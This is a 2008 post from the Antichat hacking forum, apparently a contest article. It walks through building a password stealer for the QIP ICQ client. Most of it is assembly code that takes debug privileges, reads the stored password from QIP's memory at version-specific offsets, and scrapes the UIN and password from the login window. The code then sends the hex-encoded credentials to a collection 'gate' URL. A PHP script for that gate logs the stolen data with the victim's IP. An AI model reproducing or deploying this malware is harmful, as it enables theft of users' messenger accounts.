Показать сообщение отдельно

Выдирание пароля из Qip
  #8  
Старый 28.05.2008, 16:55
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию Выдирание пароля из Qip

Выдирание пароля из QIP
Методы:
1. Напрямую копирование из памяти
2. Чтение из поля ввода пароля

Алгоритм работы:
1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом:
Код:
proc SetDBG
 push ebp
 mov ebp,esp ; сохраним значение стека
 sub esp,24h ; выделим место в стеке под переменные
 invoke OpenProcessToken, -1, 28h, esp 
 test eax,eax 
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ; 
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges] ; установка привелегии
@@:
 leave
 ret
endp
2. Чтение пароля из памяти QIP
Код:
proc QIP_MEM
 invoke FindWindow,TMainForm,0 ; ищем окно QIP
QIP_MEM_next:
 test eax,eax
 mov [h],eax  ; сохраним handle 
 jz QIP_MEM_exit 
 invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
 cmp dword [buf],'[qip' ; проверим правильность
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
 stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
 stdcall AddToBuf,dvoetochie ; разделитель
 stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
 stdcall AddToBuf,buf ; закинем в буфер полученный пароль
 stdcall AddToBuf,tzap ; разделитель записей
QIP_MEM_next1:
 invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp
Теперь разберем непосредственно функцию чтения пароля из памяти:
Код:
proc GetPas,PID
 stdcall GetFileVer,[PID] ; для начала получаем версию файла
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией 
 jne GetPas_m1
; nтепер мы знаем offset по которому лежит пас.
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]  читаем пас
GetPas_exit:
 ret
endp
Таблица соотношения версии файла и offseta:
VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h
ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch

Для определения версии файла используем функцию:
Код:
proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle] ж закрое дискриптор
 add ebx,288 ; смещение на имя файла
 invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash,  FixedFileInfoBuf, Size ; получаем версию файла
 test eax,eax
 jz GetFileVer_exit
;  конвертируем значения в удобный  для нас вид
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp
Чтение осуществим следующим образом:
Код:
proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp
3. Чтение пароля из поля ввода
Код:
proc QIP_WND
 invoke FindWindow,TManForm,0 ; найдем окно
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
 pop eax
 invoke GetWindow,eax,2 ; ищем следующее окно
 jmp cicle2
QIP_WND_exit:
 ret
endp
Непосредственно процедуру чтения оформим так:
Код:
proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок  UIN
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
 xor ecx,ecx
cicle: ; отделяем UIN от лишнего текста
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
 stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
 stdcall AddToBuf,buf ; добавим к буферу
 stdcall AddToBuf,tzap ; конец записи
QIP_WND_GETPASS_exit:
 ret
endp
4. Теперь необходимо отправить всю полученную информацию
Код:
 invoke lstrlen,[buffer] ; получим длинну наших данных
 test eax,eax
 jnz dalee
 invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
dalee: ; для удобства отправки переведем полученный буфер в HEX
 mov [Size],eax ; размер буфера
 shl eax,2 ;  умножим на 2. т.к. данных станет в 2 раза больше
 invoke HeapAlloc,[myheap],0,eax ; выделим память
 invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
 dec edx
 xor ecx,ecx
cicle4: ; преборазование в HEX
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start ; вернемся к началу буфера 
 invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
 invoke ExitProcess,0
Функцию добавления в буфер используем для уменьшения размера и вообще для удобства
Код:
proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp
Данные которые нам понадобятся для осуществления всех операций
Код:
 table db '0123456789ABCDEF' ; для конвертирования в HEX
 SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
 slash db '\',0 
 dvoetochie db ':',0 ; разделитель UIN - PASS
 tzap db '[-]',0 ; конц пары UIN:PASS
; название компонентов
 TGroupBox db 'TGroupBox',0 
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
 url_end db 0
5. Непосредственно сам гейт
Код:
<?
$data=$_GET['data']; // наши данные
$out='';
$f=fopen('ICQ.txt','a+'); // файл куда будем кидать
while ($x<strlen($data)) // конвертим из HEX в нормальный вид
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
fclose($f);
?>
Полный исходный код + поддержка &RC берем от сюда
http://forum.antichat.ru/thread71678.html

-------------------------
De-V: СТАТЬЯ В КОНКУРСЕ

Последний раз редактировалось De-visible; 29.05.2008 в 10:17..
 
Ответить с цитированием